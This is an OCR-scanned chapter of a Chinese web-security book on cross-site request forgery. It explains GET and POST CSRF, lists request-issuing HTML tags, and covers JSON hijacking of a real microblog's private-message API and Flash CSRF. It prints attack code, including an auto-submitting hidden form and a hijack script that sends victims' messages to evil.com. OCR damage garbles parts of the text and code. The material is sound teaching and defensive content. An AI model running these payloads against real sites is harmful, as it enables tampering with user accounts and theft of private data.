第4章前端黑客之CSRF
在跨站的世界中,CSRF同样扮演着极其重要的角色。CSRF的全称是Cross Site Request Forgery,即跨站请求伪造。和Web的其他安全风险一样,CSRF刚开始总是受到冷遇,随 着越来越多的真实Web世界的CSRF攻击事件发生,OWASP于2007年将CSRF归类进 OWASPTOP10的安全风险中。而从我们实际的观察来看,国内在2009年之前,CSRF漏 洞可谓满天飞,这对于漏洞挖掘者来说真没什么意思。CSRF的利用与带来的危害要看具 体场景,对于黑盒的网站来说,即使后台存在CSRF漏洞,攻击者若不清楚后台情况,这 个漏洞也毫无意义。这类网站有很多,比如,大多数闭源开发的政府、教育、企业等网站, 对于这些网站来说,CSRF漏洞根本就不是他们关注的重点。而CSRF对于那些开源网站、 多用户的网站、社交网站等来说就非常值得关注,此时的CSRF可以直接攻击管理员后台 或者其他用户。
CSRF比XSS简単,但是基础概念可能会稍微难理解一些,本章的目的就是让大家理
解透CSRF,而更多高级的内容会在第7章和第9章详细分析。
CSRF是跨站请求伪造,可能刚接触CSRF这个概念的人会很容易把它与XSS混淆。 我们知道,攻击的发生是由各种请求造成的,对于CSRF来说,它的请求有两个关键点: 跨站点的请求与请求是伪造的。
4.1.1跨站点的请求
从字面上看,跨站点请求的来源是其他站点,比如,目标网站的删除文章功能接收到 来自恶意网站客户端(JavaScript. Flash、HTML等)发出的删除文章请求,这个请求就是 跨站点的请求,目标网站应该区分请求来源。
字面上的定义总是狭义的,这样恶意的请求也有可能来自本站。
4.1.2请求是伪造的
伪造的定义很模糊,一般情况下,我们可以认为:如果请求的发出不是用户的意愿, 那么这个请求就是伪造的。在第3章“前端黑客之XSS”中我们知道,对于XSS来说,发 起的任何攻击请求实际上都是目标网站同域内发出的,此时已经没有同源策略的限制,虽 然这样,我们同样可以认为这些请求也是伪造的,因为它们不是用户的意愿。
4.1.3 —个场景
对于CSRF来说,强调这两个关键点是想表达CSRF的安全风险在大多数场景中的共 同点,而在大多数场景中,这种攻击是XSS无法完成的。
我们先来看这个“大多数场景”是什么。
目标网 站A : www.a.com
恶意网站B: www.b.com
两个域不一样,目标网站A上有一个删除文章的功能,通常是用户单击“删除链接” 时才会删除指定的文章,这个链接是www.a.com/biog/del?id=l, id号代表不同的文章。
我们知道,这样删除文章实际上就是发出一个GET请求,那么如果目标网站A上存 在一个XSS漏洞,执行的JS脚本无同源策略限制,就可以按下面的方式来删除文章。
•使用AJAX发出GET请求,请求值是id=l,请求目标地址是www.a.com/blog/del<>
•或者动态创建一个标签对象(如img、iframe、script)等,将它们的src指向这个链 接 www.a.conVblog/del?id=l,发出的也是 GET 请求。
•然后欺骗用户访问存在XSS脚本的漏洞页面(在目标网站A上),则攻击发生。
如果不用这种方式,或者目标网站A根本不存在XSS漏洞,还可以如何删除文章?看 看CSRF的思路,步骤如下:
•在恶意网站B上编写一个CSRF页面(www.b.com/csrf.htm),想想有什么办法可以 发出一个GET请求到目标网站A上?
•利用AJAX?不行,它禁止跨域传输数据。
•那么,用代码<img src=http://www.a.conVblog/del?id=l />.
•然后欺骗巳经登录目标网站A的用户访问www.b.com/csrf.htm页面,则攻击发生。
这个攻击过程有三个关键点:跨域发出了一个GET请求、可以无JavaScript参与、请 求是身份认证后的。
在第1章中,我们提到Web层面上有一个非常重要的策略(即同源策略),这个策略 用来限制客户端脚本的跨域请求行为,但实际上由客户端HTML标签等发出的跨域GET 请求被认为是合法的,不在同源策略的限制中,但是这些请求发出后并没能力得到目标页 面响应的数据内容。
很多网站其实都需要有这样的功能,比如,嵌入第三方资源:图片、JS脚本、CSS样 式、框架内容,尤其是很多开放的Web 2.0网站有个mash叩应用聚合概念,如Google的 Gadgets或者SNS社区中的第三方Web应用与Web游戏,通过iframe嵌入第三方扩展应用, 如果将这样的GET请求限制住,那么Web世界就过于封闭了。
安全风险总是出现在正常的流程中,现在我们发出的是一个删除文章的GET请求,对 于合法的跨域请求,浏览器会放行。
大家看到了,CSRF这个过程与XSS不一样,不需要JavaScript参与,当然也可以有 JavaScript参与,比如在www.b.com/csrf.htm中使用JavaScript动态生成一个img对象:
<script>
new Image().src « *http://www.a.com/blog/del?id=l*
</script>
同样可以达到攻击效果。需要特别注意的是:这里并不是JavaScript跨域操作目标网站A 的数据,而是间接生成了 img对象,由img对象发起一个合法的跨域GET请求而己,这个 过程和上面直接用一个img标签一样。
3)请求是身份认证后的
这一点非常关键,跨域发出的请求类似这样:
GET /blog/del?id=l HTTP/1.1
Host: www.a.com
User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: keep-alive
Referer: http://www.b.com/csrf.htm
Cookie:sid=0951abe6d508dab60357 804 519a61b999;JSESSI0NID=abcTePo20ri_k-pW t5net;
而如果是冃标网站A,用户自己単击删除链接时发出的请求类似这样:
GET /blog/del?id=l HTTP/1.1
Host: www.a.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: keep-alive
Referer: http://www.a.com/blog/
Cookie:sid=0951abe6d508dab60357804519a61b999;JSESSI0NID=abcTePo20ri_k-pW t5net;
可以看到两个请求中,除了请求来源Referer值不一样外,其他都一样,尤其是这里的 Cookie值,该Cookie是用户登录目标网站A后的身份认证标志。跨域发出的请求也同样 会带上F1标冋站A的用户Cookie,这样的请求就是身份认证后的,攻击才会成功。
看上去这个过程很容易理解,其实我们漏了一个非常关键的概念:在第2章详细提 过的,Cookie分本地Cookie与内存Cookie,这两类Cookie在CSRF的过程中会存在一 些差异,IE浏览器默认不允许目标网站A的本地Cookie在这样的跨域请求中带上,除非 在HTTP响应头中设置了 P3P (Platform for Privacy Preferences).这个响应头告诉浏览器 允许网站(恶意网站B)跨域请求目标网站A的资源时带上目标网站A的用户本地Cookie。
对于非IE浏览器,就没这样的限制。
好了,通过这个场景,我们己经知道了 CSRF的过程,这个过程中只介绍了 GET请求 的情况,那么POST请求呢?比如,目标网站A的“写文章”功能,这是一个提交表单的 操作,会发起POST请求。同样,这个POST请求可以从恶意网站B中发出,通过JavaScript 自动生成一份表单,表单的action地址指向目标网站A的“写文章”表单提交地址,表单 的相关字段都准备好后,即可发出请求。下面看一段代码:
<body></body>
<script>
function new_form() { // 创建表单函数
var f = document.createElement(nform");
document.body.appendchild(f);
f.method = "post";
return f;
)
function create_elements(eForm, eName, eValue){
//创建表单项函数,eForm:表单对象,eName:表单项’eValue:表单项值
var e = document.createElement("input");
eForm.appendChild(e);
e.type = 'text';
e.name = eName;
if(!document.all){e.style.display = 'none';}else{
e.style.display = 'block*;
e.style.width = 'Opx';
e.style.height = 'Opx1;
)//兼容浏览器的隐藏设置,目的是让表单不可见
e.value = eValue;
return e;
}
var _f = new_form () ; // 创建表单对象
create elements ( f, "title", "hi"); 〃创建表单项:title=hi create elements (_f, "content"r "carfhere"); // 创建表单项:content=csrf_here _f.action= "http://www.a.com/blog/add";
//设置表单action提交地址为目标网站A的/blog/add页面
_f .submit () ; // 自动提交
</script>
构造完成,当目标网站A的用户被欺骗访问了恶意网站B的该页面时,一个跨域的伪
造的POST表单请求就发出了。同样,这个请求带上了目标网站A的用户Cookie。
- CSRF 类型
按照请求类型来区分,上面介绍的这个场景中其实己经提到:GET型与POST型的 CSRF攻击,在此不再多述。
若按照攻击方式分类,CSRF可分为:HTML CSRF攻击、JSON HUacking攻击和Flash CSRF攻击等。
- HTML CSRF 攻击
同样是上面那个场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普遍 的CSRF攻击,我们来看看都有哪些HTML元素可以发出这些请求。
HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,如:
<link href«,,H>
<img src="">
<img lowsrc="">
<img dynsrc="**>
<meta http-equiv="refresh" content。"。; url-">
<iframe src=*,">
<frame src="">
<script src="">
<bgsound src="">
<embed src="H>
<video src=H">
<audio src=HH>
<a href=H">
<table background=HH>
CSS样式中的:
@import ""
background:url("")
还有通过JavaScript动态生成的标签对象或CSS对象发起的GET请求,而发出POST 请求只能通过form提交方式。
4.2.2 JSON Hijacking 攻击
JSON Hijacking技术非常经典,攻击过程是CSRF,不过是对AJAX响应中最常见的 JSON数据类型进行的劫持攻击。很多时候,网站发出的AJAX请求,响应回来的数据是 JSON格式,它有以下两种格式。
1 )字典格式
{
"id": 1,
,,name•,: "foo”,
"emailn : Hfoo@gmail. com** t
2)列表格土
["foo", "xoo”, "coo"]
每个键值可以是数字、字符串、布尔值、字典、列表、null等,最终呈现出来的是- 份结构清晰Ft完整的字典结构或列表结构。由于JSON格式的简洁与强大,网站开始逐渐 使用JSON替代传统的XML进行数据传输o-JSObfe在各种流行语言中都得到了完美支持, 这里以JavaScript为例进行说明。
JSON数据如果以字典形式返回,直接在浏览器中显示会报错,原因是浏览器以为“ {” 开头的脚本应该是--段左右花括号包围住的代码块,所以,对这种JSON数据的处理,一 般会这样:
eval (" (" + JSON DATA + ") ") ; // 前后加上岡括号
对于使用列表形式返回的JSON数据,它是一个Array对象,以前可以通过劫持Array 数据来进行JSON Hijacking攻击,但是现在已经不行了。先来看下-个以前饭否的JSON Hijacking 案例。
饭否的private messages API可以显示用户私信内容,官方描述如F:
显示用户收到的私信
路径:http: //api . f anfou . com/private messages/inbox. [json I xml]
参数:
count (可选)-私信数,范围1-20,默认为20。
示例: http://api.fanfou.comZprivatemessages/inbox.xml?count=10
callback (可选)-JavaScript函数名,使用JSON格式时可用,将JSON对象作 为参数直接调用。
示例:http: //api. fanfou.com/private_messages/inbox.xml?callback=getStatuses
我们使用JSON格式的数据返回,并且callback函数可以自定义。接着自定义一个JSON
91
Hijacking 页面,包含如 F JavaScript 代码:
<script>
function hijack (o) ( //自定义的劫持函数
var i = 0;
var data ='';
for (i; i < 3; i++) {
//alert(o[il.text);
data += o[i).senderid
)
alert(data);
new Image().src = Mhttp://www.evil.com/JSONHiJack.php?hi=" + escape (data); //将获取到的隐私数据上传到攻击者服务器上
)
</script>
〈script src=http://api.fanfou.com/private_messages/inbox.j son?callback= hijack&count=3>
</script>< ! --api 调用中使用的 callback 函数为 hi jack-->
当登录饭否的用户被欺骗访问这个页面时,其隐私将暴露无遗。第一个<script>标签内 的脚木是我们日定义的劫持函数hijack,第二个<script>标签加载远程JS文件,即饭否的 private_messagesAPl,这个加载过程实际上是发出了一个CSRF GET请求,请求带上了登 录用户的Cookie身份认证信息,返回的数据如下;
hijack([{
"id": 585904,
"text":
"senderid": MSalina_Wu",
"recipient_idM: "ycosxhack",
"createdat": "Sat May 31 05:00:01 +0000 2008", "sender screen name,f: "LOLO”,
"recipient screen name1': ”余弦"
}/ {
”id”: 444619,
"text": "'1;!--\”<XSS>=&{()}”,
"sender_id" : ,,xssisn,
"recipient_idH: "ycosxhack",
”created_at": "Fri Apr 11 16:07:19 +0000 200",
"sende^screen name'*: "xssis",
Mrecipient_screen_name":"余弦"
}, {
”id”: 351757,
ntextH:
,•senderid": HSalina_Wu",
"recipient_idn: "ycosxhack",
,,created_af,: "Sat Mar 01 03:27:22 +0000 2008”,
"sender_screen_nameM: "LOLO", nrecipient_screen_nameM:"余弦”
}])
由于hijack函数被预先劫持而定义,并且第二个<script>标签内的远程JS文件返回的 数据被当做JavaScript代码而被解析执行,这时就会执行这个hijack函数,参数就是上面 hijack()中的这段JSON数据。
这样的JSON Hijacking很经典,如果饭否API不允许自定义callback函数,返回的数 据内容如下:
[(
”id": 585904,
”text”:
"sender id": "Salina Wu"r
"recipient_idM: "ycosxhack",
"createdat”; ”Sat May 31 05:00:01 +0000 2008”,
"senderscreen^name": "LOLO”,
- Flash CSRF 攻击
.Flash的同界同样遵循同添策略,疫起的CSRF攻击是通过ActionScript脚本柬尧涂的,二'
说到Flash CSRF时,我们通常会想到以F两点:
M跨域获取隐私数据法•.]
•跨域提交数据操作】二些如添加、删除、编辑等操作的请求,•这里并不会获取到隐.
•私数据广「
1.跨域获取隐私数据
如果目标网站的根冃录下存在crossdomain.xml文件,配置如下:
<?xnrl version=Ml. 0n?>
<cross-domain-policy>
<allow-access-from domain=M*" />
</cross-domain-policy>
配置中的allow-access-from domain="*"表示允许任何域的Flash请求本域的资源。这样 就非常危险,如果用户登录目标网站,被欺骗访问包含恶意Flash的网页时,自己的隐私 数据就可能被盗走。这个恶意Flash的Actionscript脚本如下:
import flash.net.*;
//请求隐私数据所在的页面
var loader = new URLLoader(new URLRequest("http://www.foo.com/private"));
loader. addEventListener (Event. COMPLETE, function () ( // 当请求完成后
loader.data; //获取到的隐私数据
//更多操作
));
loader, load () ; // 发起清求
2.跨域提交数据操作
这个其实就不需要crossdomain.xm 1的跨域访问策略了,在前面我们已经提到,跨域发 起的GET/POST请求对浏览器来说就是合法的,那么在Flash里进行也一样。
我们来看一个场景,国内某微博的发微博消息存在CSRF漏洞。一般情况下,我们会 使用“HTMLCSRF”方式进行:
<form action=Hhttp://t.xxx.com/article/updatetweetH method=11 post">
<input type=,,hiddenn name="status" value=,,html_csrf-here." />
</form>
<script>document ・ forms[0]・ submit 0;</script>
构造好CSRF页面,欺骗用户访问即可,提交成功后会有JSON文件返回,并提示下 载,这样的攻击就有些暴露了。如果通过Flash来进行这个过程会更加隐蔽,Actionscript 代码如下:
import flash ・ net.URLRequest;
function post(msg){
var url = new URLRequest(Hhttp://t.xxx.com/article/updatetweetM);
var _v = new URLVariables();
_v = "status^"+msg;
url.method = "POST"; // POST 方式提交
url.data = _v; sendToURL (url); // 发送
)
post(* flash_csrf_here');
好了,一个更完美的攻击就完成了。
4.3有何危害
CSRF有何危害?那就看CSRF能做什么,内容如下(许多细节将在第7章和第9章详 细介绍):
•篡改目标网站上的用户数据。
•盗取用户隐私数据。
•作为其他攻击向量的辅助攻击手法。
•传播CSRF蠕虫。
CSRF实际上已经是崛起的“巨人” 了,在真实的攻击中发挥了很重要的作用。
497

被折叠的 条评论
为什么被折叠?



